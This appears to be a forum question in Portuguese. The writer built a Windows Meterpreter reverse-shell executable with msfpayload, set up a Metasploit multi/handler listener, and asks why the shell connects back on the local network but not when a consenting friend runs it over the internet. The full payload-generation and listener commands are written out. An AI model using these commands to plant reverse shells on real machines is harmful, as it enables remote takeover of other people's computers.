Dúvida 1:
Criei um reverse shell para windows e fiz o teste no meu outro computador, no metasploit digitei os seguintes comandos
> use multi/handler
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST [meu ip]
> set LPORT 8080
> exploit

Ao fazer isso executei o arquivo em meu outro pc usando windows 7, ate ai tudo bem consegui acesso ao meterpreter e consegui controle do meu outro pc. Depois falei com um amigo pelo msn e ele autorizou executar o arquivo no computador dele, o problema é que nada aconteceu. O que pode ter acontecido? Quando executado em rede interna ele deu acesso ao pc que executou o mesmo, mas quando executado em rede externa não aconteceu nada, tenho que liberar alguma porta do modem, ou fazer alguma outra coisa?

- Usei o seguinte comando para criar o arquivo
> cd /pentest/exploits/framework2
> msfpayload windows/meterpreter/reverser_tcp LHOST=[meuip] LPORT=8080 X > /root/teste.exe